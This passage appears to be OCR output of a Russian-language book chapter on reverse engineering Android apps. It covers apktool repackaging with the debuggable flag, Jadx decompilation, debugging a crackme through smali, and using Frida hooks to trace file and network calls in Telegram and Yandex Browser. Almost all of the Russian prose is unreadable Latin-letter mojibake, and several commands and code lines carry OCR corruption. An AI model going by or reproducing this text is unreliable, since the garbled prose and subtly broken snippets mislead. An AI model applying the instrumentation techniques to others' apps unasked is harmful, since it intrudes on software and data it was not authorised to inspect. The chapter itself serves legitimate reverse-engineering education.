CKHMI1 MeToA aHanu3a npuiaokeHHs. OH Xopoll, Korjaa KoJ MPHJIOXKEHHUs He CIIHUIKOM 3a-
nmyraH. OfHaKO €clH Mbl HMeEM [JIeJIo ¢ Xopoluo 00¢dyCcLUHPOBaHHBIM KOIOM, a HyXHas
HaM ¢yHKLHOHAIBHOCTb HAXOJMTCH HEMHOrO MyOike Kjacca akTHBHOCTH, HE 0OOHTHCH
6e3 nuHamuueckoro aHanuza. OAMH M3 crmocoOOB caenarb 3TO — HCMONIBb30BaTh OT-
NagqHK.

Otnaaumk n pesepcuHr

Ctporo roBops, 3T0 He TO 4TOOBl OTAENbHBIA cnocob B3noMa, a ckopee crocod paso-
Opartbcs B MOBEJEHHH MPHIIOKEHHs, YTOObI HalTH ero ciabbie Mecta. CMBIC 371€Ch clie-
NyIOLIMii: MpeacTaBbTe, YTO y Bac Ha pykax oOpasel| BpeIOHOCHOMH mporpamMmbl. Ee kon
CHIIbHO 00¢ycLUHpOBaH, NEKOMIHIATOP €1Ba MepeBapyUBaeT MOJIOBMHY Kona, M paso-
OpaTtbcs B paboTe NpHIIOKEHHS MOYTH HEBO3MOXHO. Tpedyercs crmocob® mpocneautsb
BOpkdIioy TposiHa, pa3zoOpaTbCcs B TOM, Kakas LEMOYKa METOIOB BbI3bIBAETCS MpPH BO3-
HUKHOBEHHH OMpeeNIeHHbIX COOBITHIA.

Bo Bce BpeMeHa JiyquInii cnocob cenartb 3To COCTOSAN B MCMONb30BaHWH oTiianunka. Ho
ecTb OJHa MpobJieMa: y Hac HeT MCXOJHHKOB, a 6e3 HHX OTJaAuMK Majo nojeseH. 3aTo
€CThb BO3MOXKHOCTb JIEKOMIHIIMPOBaTh MpHIIOXkeHHe B Java (Hepeako — TOJIbKO 4acTHu-
HO) MJIM B JIOCTaTOYHO BBICOKOYPOBHEBHBIH (B CPaBHEHHH C MalLIMHHBIM KOJOM) KOJ
smali, koTopslii Bceraa OyaeT MoJHOCTbIO KOPPEKTHBIM.

Tak uTO B L1€JIOM aNropHT™ AeicTBHI OyIeT BbIMISAAETh Tak:
1. ZloctaemM noaonbITHOE NPHIIOKEHHE U3 YCTPOHCTRA.

2. JluzacceMbiupyeM ero, BeICTaBiiseM iar oTiaakH.

3. Cobupaem 0OpaTHO M yCTaHaBIHBAEM Ha YCTPOHCTBO.

4

HMnopTHpyemM IeKOMMHIMPOBAHHBIH WM JW3acceMOJMpoBaHHbIH koa B Android
Studio.

5. 3amyckaem oTiaaky.
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$nar oTnagkm

Android ycTpoeH TakuM 06pa3oM, YTO HE MO3BOJHT MOAKIIOUHTHCS C MOMOLIBIO OTJIA-
YUKa K TMPUWIOKEHHIO, KOTOpOE 3TOro He XoyeT. A (akT «XOTeHHs» ompelensercs
¢daroM OTNagKW, KOTOPBIM, MO CyTH, TMpeAcTaBiseT coboH cTpoky B daiine

AndroidManifest.xml.

[ToaToMy mepBoe, YTO MBI JOJDKHBI CHENaTh, — 3TO pa3o0paTh NPHIOXKEHHE, BHICTABUTD
¢nar oTnanky B 3HaUYeHHeE true M coOpatk mporpammy obpatHo. [Ipowie Bcero ato cue-
J1aTh C TIOMOLLBIO YTHIUTHI apktool:

$ java -jar apktool.jar d app.apk

B Tekyuiem kartanore MosiBUTCs MOAKATANIOT app (HY, WM KaK Ha3bIBaJICA MAKET C MPHJIIO-
)KCHI/ICM). HepexomdM B HETO — W BHAUM HECKOJIBKO (baifmos U karanoroB. Ham onu enie
NPUrOJATCS, a MOKa OTKpbIBaeM (ain AndroidManifest.xml B TEKCTOBOM peNAKTOpe H
HaXOJUM CTPOKY, HAYHHAIOLLYIOCS C <application>. JTO Ter application, KOTOPBIHA OMH-
CBIBAE€T MpWJIOXKEHHEe B LEeNOM. MMEHHO Kk HeMy Mbl [O/DKHBI N00aBHTH aTpuOyT
android:debuggable="true". IIpocTo BcTaBbTE €rO Cpazy nocje application:

<application android:debuggable="true"

Tenepb TMPHIIOXKEHHUE HCO6XOI[I/IMO 3araKoBaThb H NMOANMHUCATH:

$ apktool b app
$ sign app.apk

[Tocne aToro TMPHIIOXKEHUE MOXXHO YCTAHOBHUTH Ha }’CTPOﬁCTBO.

Hexomnunauma u ausaccembnuposaHue

JluzacceMOepHbIH TUCTHHT MPUJIOXKEHHUS Y HAC yXKe€ €CTh, MBI MOJYYHIIH €ro, pazoopas
npuioxeHre ¢ nomoineto apktool. Mer Moxxem ummnoptupoBath ero B Android Studio u
HayaTh omiaaky. Ho syyine Bce-Taku MombITaThes MOMYYHTh MCXOOHHUKH Java, ropasno
Oouee jierkue 11 YTEHUS.

Jlns 3TOro mpuioxeHHe HeoOXOOUMO NEeKOMMWIMpoBaTh. 3amyckaeM Jadx, BeIOMpaeM
APK-daiin npuioxxeHus U 3KCIOPTHPYEM HCXONHUKH ¢ nomolnsio MeHio File — Save as
gradle project (puc. 9.1).

Android Studio

Tenepb 3kcOPTHPOBaHHBIE HCXOOHUKH HeoOxonumo ummnoptupoBats B Android Studio.
Henaercs 3to ¢ nomouisio MeHto File > Open — New Project »>Import Project. ITo-
TOM BBIOHpaeM KaTasior ¢ HCXOIHHKaMH U B OTBET Ha BCE BOMPOCHI HaxkuMaeM JaJiee.

Ecnu Bce mpodizer ycneuiHo, HCXOOHMKH OyoyT HWMIIOPTHPOBAHBI, W BBl YBHUAHTE HX
B riaBHOM okHe Android Studio (puc. 9.2). OnsaTh ke, mydle cpa3y NpoHTHCh Mo daii-
JaM M TIPOBEPHTh HUX KOPpPEeKTHOCTb. B 99,9% cnyuyaer Bbl OOHapy>XHT€ MHOXECTBO
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v crackme-one-ong apk
¢ & Sourte code

e @ android.support

#- # com.reoky.crackme.challengeone

Oubisoger

{8l Frames +*

¢ @ actwities import
o O LSy import
o~ @ adaptors import

o B fragments import

o i listeners import

o @ BuildConfig import
~@n import

o~ B Resources import
import

import

public

Ac

Ch
vi

pu

package com.reoky.crackme.challengeone.activities;

public void onTabSelected(Tab tab, FragmentTransaction fragmentTransaction) {

android.app.ActionBar;

android.app.ActionBar.Tab;

android.app.ActionBar.TabListener;

android.app.FragmentTransaction;

android.os.Bundle;

android.support.v4.app.FragmentActivity;

android.support.va.view.ViewPager;

com. reoky.crackme. challengeone. R;

com. reoky.crackme.challengeone.adaptors.ChallengePagerAdapter;

com. reoky .crackme.challengeone. listeners.ChallengeActivi tyOnPageChangeListener;

class ChallengeActivity extends FragmentActivity implements TabListener {
tionBar actionSar;

allengePagerAdapter mChallengePagerAdapter;

ewPager mViewPager;

blic void onCreate{Bundle savedinstanceState) {
super.onCreate(savedInstanceState) ;
setContentView(R. layout.activity_challenge);
this.mcChallengePagerAdapter = new ChallengePageradapter (getSupportFragmentManager(});
this.actionBar = getActionBar();
this.actionBar.setNavigationMode (2);
this.actionBar.setDisplayOptions(16);
this.mviewPager = (viewPager) findviewByld{R.id.container);
this.mviewPager.setAdapter({this.mChallengePagerAdapter) ;
this.mviewPager.setOnPagerhangeListener (new ChallengeAct1vityOnPageChangeListener (this.actionBar));
this.actionBar.addTab(this.actionBar.newTab() .setText("Challenge") .setTabListener (this));
this.actionBar,addTab(this.actionBar .newTab() .setText("Hint") .setTabListener(this]);
this.actionBar.addTab(this.actionBar.newTab() .setText (" About").setTabListener{(this));
getwindow() .setSof tInputMode(2) ;

this. mviewPager.setCurrentItem(tab.getPosition());

Puc. 9.1. lekomnunauua npunoxeHus B Jadx

B recky B crackme Bmc

v O E e K

Challeng

> B8 idea
» B android
v Bmcom

v Dmactivities

upp

oky.crackme.challen

» B iste
1 BuildConfia
Debugger (8610

Abx

w &
£ Variables

in” & v Ethis =

outFragment
42 AboutFragment java

rackme.chall

onClickl

outFra

“AboutFragment{af17f08 #

JAway = null

null

mBackSta

ebugger p nnectExcept... {6 minute

Puc. 9.2. lekomnunupoBaHHbii kog B Android Studio
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ﬂOLlllepKPlBaHl/lﬁ U BbIJEJIEHHH KpaCHbIM: B NMOHHUMaHHUH CpEAbI pa3pa60TKn HCXOJHHKH
MOJIHBI OMIMOOK. 3TO abCoIOTHO HOpMaJibHO, T. K. ,ZICKOM]'IHIIHpOBaHHblﬁ KO, TaK HJIH
HHa4ve€, HE NOJIXKCH OBITh NMpUroaeH ajasd l'IOBTOpHOﬁ KOMITHJTALIHH.

Teneps akTuBHpyiiTe Ha cMapTdoHe pexuM otnaaku no USB (Hacrpoiiku — O Tese-
¢pone — BoceMb TanoB no HoMmepy cbopku), noakmounte ero k IIK. B Android Studio
Haxkmute kHonky Attach debugger to Android process (oHa HaXOOUTCS PSIIOM C KHOTI-
KaMH 3anmycka M OCTAHOBKH NMPHJIOXKEHHS), YTOOBI MOAKIIOYHTECS K CMApT(OHY U MpH-
JIOXKEHHIO.

Ecnu cHusy nosiBunace naHens aedarrepa, Bol Ha koHe. Cnenyolui war — paccTaBUThb
OpeHKMOUHTHI B T€X MecTaX MpPHJIOXKEHHS, KOTOpble Bbl XOTHTE HccnenoBarts. CaenaeMm
3TO Ha npuMmepe npocteiiiuero crackme-one (https://github.com/reoky/android-
crackme-challenge), koTopbIii 3anucbIBaeT CTPOKY B ¢aiin, a BaM HY>KHO y3HaTb cozep-
’kuMoe 3Tol cTpokH. Daiil XpaHUT CTPOKY B OTKPHITOM BHIE, HO MbI MPEACTABUM, YTO
NpUJIoXKEHHEe pacluM(pOBBIBAET €€ TOJIBKO BO BPEMS 3alMCH, U MOITOMY MbI JOJIXHBI
nofiMaTh MOMEHT 3TOH 3anmHMcH, 4TOObI BBIWIEHHTDb YX€ pacluM(pOBaHHYIO, HO €lle He
3aMHCaHHYIO CTPOKY.

HTaK, C 4ero Hayarthb? IIJ'IH HayaJia BBISICHHM, C KakOH aKTUBHOCTH HAUHHAETCS MCMOJIHE-
HHUE TNPHUITTOKEHHUA. B nmaHHOM cjiyya€ 3TO, ONnATb XK€, OECCMBIC/IEHHO B CHUJ1y NPOCTOTHI
crackme, HO B OOJIBIIMX TMPHIIOKEHUAX MPUTOAUTCA. Ha#ti ucxomaHuk Hy)KHOﬁ aKTHBHO-
CTH MOXHO C NMOMOLIBIO d)aﬁna AndroidManifest.xml. BOT KaKk BBIFJISAMT ONMHUCAHHE TIJiaB-
HOHM aKTHBHOCTH B crackme:

<activity android:label="@string/app name"
android:name="com.reoky.crackme.challengeone.activities. 'ChallengeActivity">

<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

OOparuTe BHHMaHME Ha CTPOKH, ColepxallHe android.intent.action.MAIN M android.
intent.category.LAUNCHER. OHM 03HayaloT, YTO HMEHHO C 3TOH aKTHMBHOCTH HayHeTCs
HUCMOJIHEHHE NPHIIOKEHHUSA (Ha caMOM feJie TAKMX aKTHBHOCTEH MOXET ObITh HECKOJIbKO,
HO 3TO peaKocThb). Takke oOpaTHTE BHUMaHHE Ha CIEAYIOLLYIO CTPOKY:

android:name="com.reoky.crackme.challengeone.activities.ChallengeActivity

[To cyTH, 3TO MONHBIHA «MyTh» 10 aKTUBHOCTH, BKJIOYas Bce HMeHa nakeToB. IMeHHo no
TaKOMY NMYTH Bbl HalifieTe ee B MCXOAHHKaX, 3arpykeHHbIX B Android Studio. OTkpbIB
MCXOIHHUK 3TOoH akTUBHOCTH B Android Studio, Bbl 3amMeTHTe ero KpaHHIOI MPOCTOTY.
®dakTHueCckH 3TO OKHO C MepekjtouyaresneM TaboB, a coaepxkuMoe TaboB pacnosaraercs
BHYTpH ()parMEHTOB B MakeTe/karajore fragments. [lepexomuM B HEro — W BHIUM
ChallengeOneFragment. OH Kak pa3 M COAEPMMT MoJie BBOJA OTBETAa M KHOMKY Ul 3aNHCH
¢aiina. BHUMaTenbHO MPOYMTaB MCXOIHHMK, 3aMEyaeM, YTO B kauyecTBe koinbaka s
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3TOM KHOMKHU MCMOJB3YETCH ChallengeOneFragmentOnClickListener, OMpeNEN€HHbIA B OJ-
HOUMEHHOM (aiinie B kaTasiore listeners. OTKpbIBaeM 3TOT Gaiil U cpeau MPOYHUX BUIAHM
TAaKHE€ CTPOKH:

- I e

OutputStreamWriter outputStreamWriter = new
OutputStreamWriter (parent.getContext () .openFileOutput ("ANSWER", 1));

outputStreamWriter.write ("poorly-protected-secret");

outputStreamWriter.flush();
outputStreamWriter.close();

[To3apasnsto, Mbl B3ToManu crackme, HckoMmasi cTpoka: poorly-protected-secret. Ho mo-
CTO#iTe, MBI XKe JI0rOBOPHIIUCE, YTO MpPEACTABUM, GYITO CTpOKa 3aliMdpOBaHa, H Mbl He
MOxeM ee yBuAeTb. BoT 3neck Ham U HyxkeH aebarrep: cojib B TOM, YTOObI MOCTaBHTh
OpeHKIMOUHT Ha BTOPYIO CTPOKY NMPHBEEHHOrO BbILLE JIMCTHHTA U 11OCJIE 3TOTO 3aMyCTHTh
npunoxenre. Koraa ucnonHeHHe nNpHiokKeHHs JOHAET A0 3TOH TOYKH, OHO Oyzaer ocTa-
HOBJIEHO, @ Mbl C TIOMOLIBIO KOHCOMH Jebarrepa CMOXKEM MPOYMTATh apryMEHT BbI30Ba
write (KOTOpBIH y>ke NomkeH ObITh paciingpoBaH nepe. 3amUchlo).

Hrtak, oTtkpeiBaeM ucxonHuk B Android Studio, HaXoaMM HYXHYIO CTPOKY M KIIHKaem
pSIOM C HOMEpPOM 3TOH cTpokH. CTpoka NMOACBEYHBAETCS KPACHBIM, CUTHAJIU3UPYs 00
yctaHoBKe OpeiikrnonHra. HaBepHsika Bbl He cpa3y CMOXXET€ YCTAHOBUTb KOPPEKTHBIH
OpelKnouHT (TOT, KOTOphIi Oy/leT OTMeUEeH ranoykoii), MOTOMY YTO UCXOJIHHKH, CKOpee
BCcero, He OyyT COOTBETCTBOBATh Koy NMpuiokeHus. 1o 3ToH e npUUHHE BaM NpHAeT-
cs JeiCTBOBaTh BCIIEMYIO, KOrZa HCMOJIHEHHE TNPHJIOXKEHHUS AOHAeT A0 OpeHKnouHTa.
ITpu nepexone k crnenymoueit crpoke aebarrep nepedpocHT Bac B COBEPLIEHHO HEBEPHbIE
KYCKH KOJ1a, TOCTOSIHHO c00011as, YTO KO HEKOPPEKTHBIA.

Bbixona u3 3Toi cuTyauuu ABa: MO0 MPOJBUraThCs HA OLLYIb, TMOO BMECTO JAE€KOMITH-
nupoBaHHoOro Java-kona 3arpy3uts B Android Studio auzaccembnupoBaHHbIii koa smali,
KOTOPBIH MPOCTO TEXHUUYECKH HE MOXKET ObITh HEKOPPEKTHBIM.

Ucnonbayem ausaccembnuposaHHLIA KOA

JnzacceMOaMpoBaHHBIN KOJ MPUIOKEHHS Y Hac yxke ecTb. Mbl MOJy4YHIH €ro, Koraa
pa3bupanu npuioxeHde ¢ nomoupto apktool. Ilpobrema Tonpko B TOM, uto Android
Studio B cBOeM cTaHIApTHOM BapHaHTE XOTA M yMeeT nmojcBeyuBaTh koj smali, HO He
cnoco6Ha paborate ¢ 3TUM KOJOM. [/IpyrMMH CJIOBaMH, Mbl CMOXEM MPOYHUTATh KO
smali, HO He cMOJKeM YCTaHOBUTb OpeHKMOHHTBI. YTOOBI 3TO HCMIPaBUTh, HYXKEH CTOPOH-
Huii nnarud smalidea (https:/github.com/JesusFreke/smalidea), a o6umas nocnenosa-
TEJbHOCTh NEHCTBUH OyIeT BBIMIAAETh TaK:

1. CkauuBaeM ruiarvd smalidea.

2. Mmnoptupyem mnarux B Android Studio: Settings — Plugins — Install plugin from
disk.
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3. UmnopTtupyeM kataior ¢ pa3oOpaHHBIM MpPHIOKEHHEM TOYHO TaK K€, KaK Mbl 3TO
JeNaii B cy4ae ¢ JEKOMMHIHPOBAHHBIM KOJIOM.

4. B 6okoBoit naHenu wwenkaeM Mbilbio Ha Android 1 Beibupaem Project Files, uTo6b1
yBHZETb Bce (aiiibl U KaTanory NpoeKTa.

5. llenkaem mpaBo# kHOMKoOW MBILIM Ha kaTtanore smali ¥ BeiOupaem Mark directory
as — Sources root.

Kak u B cnywyae c Java-komoM, HyXHBIH HaM KOX HaxOAMTCA B listeners/
ChallengeOneFragmentOnClickListener. B 3TOT pa3 KoJd HaMHOro AJIMHHEE MU 3alyTaHHeEe,
HO, UCMOJB3Ys paHee MONyYeHHbI Java-UCXOIHHUK, BbI JIETKO HaiaeTe HY)KHOE MECTO, a
HMEHHO 246-10 CTpOKY:

invoke-virtual {v4, vB8}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V

CraBUM Ha Hee OpeMKMOMHT, 3aMyCKaeM MPHIOXKEHHE M, KOrda OHO OCTAHOBMTCS, MO-
CMOTpPHM Ha OkHo Aebarrepa. B HeM oTobGpaxaeTcs coCTOAHHE TEKYLLEro U Apyrux oos-
ektoB (puc.9.3). Hokumas F7, Mbl 3acTaBum nebarrep BBIMOTHUTE CJERYIOLLYIO CTPOKY
C MepexoloM BHYTpb BbI3bIBaeMOi (yHKUMH (B HalleM CIy4ae outputStreamWriter.
write ("poorly-protected-secret")). OKka3aBLIMCh BHYTPH Hee, Bbl CMOXKETE MPOCMOTPETh
COepXKMMOEe ee apryMeHTa, a HMEHHO MCKOMYIO CTpoKy. B naHHoOM ciyyae ee BMAHO
M 10 nepexoaa B QyHKLMIO, HO eciM Obl OHa 6bia 3amMpoBaHa, OMMCAHHBIA METO.
nomor Obl BBIACHHUTD €€ pealbHOE 3HaUeHHE.

File Edit View Code lyze Refactor Build Run Tools VC

e

B crackme-one smali € ] ckr Ch, L ClickListener.smali
© L Praiact

€ v g crackme-one

challengeone

>flush()

getContext

10:41 LF: UTF-8: Cont

Puc. 9.3. OTnaxuBaem aguaaccembnupoBaHHbIN Ko
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Frida

B nponbix pa3aenax Mbl MO3HAKOMHJIMCh C IEKOMIHIIATOPOM, AHU3acceMOiepoM U Ha-
YYHIIMCh aHAJIM3HPOBATh MPUJIOXKEHUS C MOMOILBIO oTiaauuka. Kasamoce Obl, 3TO Bee,
4TO HYXHO i paboTel peBepcepa. Ho ecTb HHCTpYMEHT, KOTOpBIH JenaeT MoaudHKa-
LMIO U U3yueHHe paboTel mpuioxkeHu# eue npoule. Ito Firda, Tynkur, no3sonsrowui
BHEJPUTHCSA B MPOLIECC M NEpenucaTh ero 4acTH Ha sA3bike JavaScript.

Dynamic Instrumentation Toolkit

Frida — 310 Tak Ha3siBaembIii Dynamic Instrumentation Toolkit, T. e. HaGop UHCTpyMeH-
TOB, MO3BOJIAIOIMX Ha JIETy BHEAPATbH COOCTBEHHBbIH KOI B Apyrue npuioxkeHus. bau-
xaime ananord Frida— 3to 3Hamenutsii Sydia Substrate gna iOS u Xposed
Framework nns Android, Te cambie ¢peiiMBOpKkH, Gnarogapss KOTOpPbIM MOSIBUIIUCH TBH-
ku. Frida otnnuaercss oT HUX TeM, 4TO HaleneHa Ha ObICTpYyIO MpaBKy KOAa B pexume
peanbHoro Bpemend. Otcrona u s3eik JavaScript BMecto Objective-C wnu Java, u otcyt-
CTBHE HEOOXOAMMOCTH YMaKOBBIBaTh «TBHKH» B HACTOSILUHE MPHIOXKEHHS. Thl MpocTo
MOJAKJIIOYAEIbCS K MPOLECCY M MEHsellb €ro MOBEIEHHE, MCIMONb3ys WHTEPAKTUBHYIO
JS-xoHconb (Hy WM OTAaellb KOMaHAy Ha 3arpy3Ky paHee HalTMCaHHOTO CKpHIITa).

Frida ymeer paboTaTh ¢ NpHIOXEHHSIMH, HalMCaHHBIMH A8 Bcex mnomynspHeix OC,
Bkimovas Windows, Linux, macOS, iOS u naxxe QNX. Msi ke OyneM HCIonbp30BaTh ee
s Moaudukauuu npuioxeHuid Android.

Hrak, uro Ham moHapoOuTCA:
1. MamuHa non ynpasneHueM Linux ¢ yctanoBneHHsiM ADB.

2. PyrtoBaHHbBI# cMapThoH wiu 3MynsaTop Ha 6ase Android 4.2 u Beie. Frida ymeer
paboTaTe U Ha HEPYTOBaHHOM, HO IJIs 3TOrO BaM npuaercs moauduuuposats APK
MOJOMBITHOTO MPHJIOXKEHHS. JTO MPOCTO HeyNO0GHO.

Jns Hayana ycraHoBuM Frida:

$ sudo pip install frida
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Hanee ckayaem cepsep Frida, koTopblii Heo6x0auMo ycTaHOBUTH Ha cMapTdoH. Cepsep
mMoxxHO HaiTH Ha GitHub (https://github.com/frida/frida/releases), ero Bepcus nomkHa
TOYHO coBnajaTh ¢ Bepcueit Frida, kotopyto Mbl yctaHoBHaH Ha [TK. CkaunBaeM:

$ cd ~/Downloads

$ wget https://github.com/frida/frida/releases/download/16.0.10/frida-server-
16.0.10-android-arm. xz

$ unxz frida-server-16.0.10-android-arm.xz

[Moaxmouaem cmaprdon k I1K, Brioyaem omiaaky no USB (Hacrpoiiku — Jlas pa3-
paborunkos — Otiagka no USB) u 3akuabiBaeM cepBep Ha cMapT¢OH:

$ adb push frida-server-16:0.10-android-arm /data/local/tmp/frida-server

Tenepb «3axoauM» Ha CMapTCbOH C MOMOLUBKO adb shell, BbICTABJIAEM HYX>KHbIC MpaBa Ha
CEPBEP H 3allyCKaeM €ro:

$ adb shell

> su

> cd /data/local/tmp

> chmod 755 frida-server
> ./frida-server

TTepeuze waru

Frida ycranosnena Ha I1K, cepBep 3anyluieH Ha cMapTdoHe (He 3aKkpblBaiTe TepMHHal
C 3amyLIeHHbIM cepBepoM). Tenepb Hy)KHO MPOBEPUTH, BCe JIM paboTaeT Tak, Kak Hajo.
s atoro Bocnonb3yeMcs KOMaHOM frida-ps -U, BBIBOA KOTOpOii Moka3aH Ha puc. 10.1.

android.

com,android.email
com.android. inputmethod. lati
.android.phone
.android
android.

Puc. 10.1. BeiBoa koMaHabl frida-ps -U
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KoMaHna nomkHa BBIBECTH CIHMCOK INMpPOLIECCOB, 3amyLIEHHBIX Ha cMmaptdoHe (¢unar -u
o3Hayaer USB, 6e3 Hero Frida BriBemeT cnmMcOK NpoLIECCOB Ha JIOKAJBHOH MallIHHE).
Ecnu Bel BUIMTE 3TOT CIHCOK, 3HAYHT, BCE XOPOILO, U MOXKHO NMPUCTYNaTh k 6onee HHTeE-
PECHBIM BELLAM.

Jlnsa Hayana nonpoGyeM BBHINOJHUTH TPACCHPOBKY CHCTEMHBIX BbI30BOB. Frida no3posnser
OTC/IeANTh 0OpaleHs K JIOObIM HATHUBHBIM QYHKLMAM, B TOM YHCJI€ CHCTEMHBIE BBI3O-
BBI fapa Linux. Jlng npumepa BO3bMEM CHCTEMHBIH BBI3OB open (), KOTOPBIH HCIONb3YET-
csl U1 OTKPBITHA (aiiioB Ha YTEHHE WM 3aMUCh. 3aIyCTHM TpaccUpoBKy « Tenerpaman:

$ frida-trace -i "open" -U -N org.telegram.messenger

Bo3bMeM TenedoH U HEMHOro MOHaXKUMAaeM Ha 371eMeHThl HHTepgeiica «Tenerpama». Ha
9KpaHe J0JDKHBI MOSBUTHCSA COOOLIEHHS NPUMEPHO CJIEYIOLIEr0o COAEPIKaHUA:

12756 ms open()
14767 ms open()
16379 ms open ()
16437 ms open ()

He oco6o nndopmaTueHO, He npaeaa 1u? A Bce moToMy, 4to no ymondyanuio Frida nmoka-
3bIBAE€T Ha 3KPaHE TOJIBKO MMS CHCTEMHOrO BBI30BA M BpeMs ero BbINoiHeHHs. OgHako
KpacoTa 3TOro MHCTPYMEHTa B TOM M 3aKJIIOYAETCs, YTO MBI MOXKEM €ro HaCTPOUTh IOJ
ce6s. HaBepHsika BBl 3aMETH/IH, YTO NPHU 3amycke KOMaHIbl Ha 3KpaHe MOSBUJIACh TaKas
CTpoKa:

open: Loaded handler at "/home/jlm/ handlers /libc.so/open.js"

OHa O3HA4ac€T, YTO AJId 06p360TKPl CHCTEMHOI'O BBI3OBa open HCIOJIb3YETCA XYK open. js.
Ecnu Me1 OTKPOEM 3TOT Cl)aﬁl'l, TO YBHAUM CJ'lC,Elyl'OlIIHﬁ KOA:

onEnter (log, args, state) ({
log('open()"');
¥
Ha, on npocto nevaraer open() 1 Bce. Tonky ot 3TOr0 Mano, MOTOMy HEMHOTO MOAHGH-
LHHUPYEM 3TOT KOI:

onEnter (log, args, state) ({
log('open(' + args[0].readUtf8String() + ')');
Yo

Tenepb XYK 6y11eT rne4yaraTtb HE TOJIBKO UMA CACTEMHOI'O BbI3OBA open(), HO U COOEPXKH-
MO€ NEPBOro napaMmeTpa B BUAE CTPOKH. A NEPBLIM NMapaME€TpOM B CHCTEMHOM BBLI3OBE
open () HAET CChUIKA HA CTPOKY C HUMEHEM 3TOr0 q)aﬁf[a.

Ecnu nocne coxpaHeHus ¢aiina BHOBb 3allyCTHTh TPACCHPOBKY, TO MBI YBHIHM YK€
ropaszo 6osiee HHPOpMAaTHBHBIE CTPOKH BPOJI€ TAKOK:

open (/data/user/0/org.telegram.messenger/shared prefs/userconfing.xml)

310 cTpoKa o3Hauaer, yto «Tenerpam» OTKPBUT aii userconfig.xml BHYTPH Kartajora
shared prefs B CBOEM MpPUBAaTHOM Kartasore. Karanor shared prefs B Android ucnone3syer-
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CA IJi1 XpaHEHHUA HACTPOECK, MO3TOMY HETPYAHO AOoragarbCs, 4YTO (baﬁﬂ userconfig.xml
COOCPXKHUT HaCTPOﬁKH MPHIIOXKEHHS. Ewe onna CTpOKa:

open (/storage/emulated/0/Android/data/org.telegram.messenger/cache/223023676 121163.3pg)

3nech Bce elle npouie. «TenerpaM» arp€CCHBHO KEUIHPYET 3arpy>kX€HHbI€ NAaHHBIC, I10-
3TOMY IJ1d 0T06pa)KeHl/Iﬂ KapTUHKH OH B34J1 €€ U3 KE1la.

open (/data/user/0/org.telegram.messenger/shared prefs/stats.xml)

Eue oquH Q)al:"l.l'l B KaTaJIore shared prefs. Cyﬂﬂ M0 BCEMY, KaKasa-TO CTATUCTUKA HUCITOJIb-
30BaHHA.

open (/dev/ashmem)

Boirnsgur crpaHHo, He Tak u? Ha camMoMm nene, daiin /dev/ashmem BUPTYyalIbHBIH, OH HC-
nosnb3yercss A1 oOMeHa JaHHBIMH MeXAy NpoueccaMH U cucteMoi ¢ nomouuso [PC-
mexaHu3Ma Binder. [lpoiue rosops, sta crpoka o3Hauaer, uto «Tenerpam» oGpatuics
K KaKOMY-TO CHCTEMHOMY KOMMOHeHTy Android unu cropoHHeMy npuiaoxeHHio. Takue
CTPOKH MOXXHO CMEJIO MPOITyCKaTh.

TTuwem xoa

MEbl MoxkeM NnepexBaTbIBaTh 06pal.LleHI/lH K JIIOOBIM APYruM CHCTEMHBIM BbI3OBaM, Ha-
MPHUMEDP K BBI3OBY connect (), KOTOprﬁ HCIIOJIB3YETCA OJ1a MOAKIKOYEHHS K YAAaJIC€HHBIM
XocTaM:

$ frida-trace -i "connect" -U -N com.yandex.browser

BbiBog omsaTk xxe Oyner He 0co60 HHGOPMATHBHBIM:

2028 ms connect ()
2034 ms connect ()

l'[pwmna BC€ Ta XXE€: aBTOMATHYCCKH CFeHepHpOBaHHbIﬁ KO XYKa HHKyJda HE roguTCi.
Honp06yeM ero MoMeHsATb. Mbl 3HA€M, 4YTO BTOpOﬁ ApryMe€HT CHUCTEMHOIO BbI3OBa
connect () — 3TO YKa3aTe€Jib HA CTPYKTYPY sockaddr, T. €. [IPOCTO aApEC B IMaMATH. Cama
CTPYKTYpa sockaddr UMEET CJ'leL[leLLlPlﬁ BHI:

c: :

struct sockaddr ({
unsigned short sa_family; // address family, AF xxx
char sa _data[14]; // 14 bytes of protocol address

}:

AB CJIy4ya€ ¢ COKETaMH THIIa AF_INET, KOTOPbI€ HaM H HY>KHBI, TaKoi:

‘Ck

struct sockaddr in f{
short sin family; // e.g. AF_INET, AF INET6
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unsigned short  sin port; // e.g. htons(3490)
struct in addr sin_addr; // see struct in addr, below
char sin zero[8]; // zero this if you want to

)i
struct in_addr {

unsigned long s _addr; // load with inet pton()
bi

To ectb caMm IP-agpec HaxoauTCs B 3TOH CTPYKType Mo cMelleHHto 4-ro Oaiita (short
sin_family + unsigned short sin_port) u 3aHumaer 8 6aiT (unsigned long). 310 3HauMT,
4TO HaM HY>HO N00aBHUTh K HCXOJHOMY aapecy 4, 3aTeM NMpoyuTath 8 6alT Mo nonyyeH-
HOMY ajipecy W MpOMapcHTh HX, YTOObI Noymy4yuTh TekcToBbld [P-agpec. Cnenaem 3o,
3aMEHHUB W3HAYaJbHbIHA XyK Ha TaKo#H:

| Javaseript

onEnter(log, args, state) {
var addr = args[l].add("4")
var ip = Memory.readULong (addr)
var ipString = [ip & OxFF, ip >>> 8 & OxFF, ip >>> 16 & O0xFF, ip >>> 24].join('.")

log("connect (" + ipString + ")");
}l

OG6paTHTe BHUMaHHe, YTO MBI TAPCHM aJpec, HAYMHas ¢ KOHLIa, T. €. pa3BOpPaYHBaeM ero.
3T0 HEOOXO0ANUMO, T. K. BCE COBpeMeHHbIe npoLieccopsl ARM Hcnonb3yroT nopsaaok 6ait
little-endian. Takxke oOpaTHTe BHUMaHHE Ha KJlacc Memory H METOJ add (), 3T0 4yacTH API
Frida (https://www.frida.re/docs/javascript-api/).

Coxpansiem (aiin ¥ BHOBb 3aIycKaeM frida-trace:

connect (173.194.222.139)
connect (74.125.205.94)

Byans. IlpaBaa ecte onuH HioaHc. Tak kak Hall KO HE YMEET pa3iMyaTh COKEThl THMA
AF UNIX, AF INET M AF_INET6 M BCE WX MHTEpPNpPETHpYeT Kak AF INET, HHOrza oH Oyner
BBIBOJMTH HECYLIECTBYIOLHE aapeca. To ecTb OH OyaeT mbiTaThbCcs MapcHTh UMs (aiina
COKeTa AF_UNIX W BBIBOAMTH ero kak IP (unm meitatbes BoiBecTH IPv6-ampec kak ampec
[Pv4). OtOpakoBaTh TakHe aapeca OYEHb JIErKO, OOBIYHO OHH MIAYT MOIAPSAA M 4acTo Mo-
BTOpsIOTCA. B Moem ciyuae 3t1o 6611 agpec 101.118.47.115.

BHeapsemcs

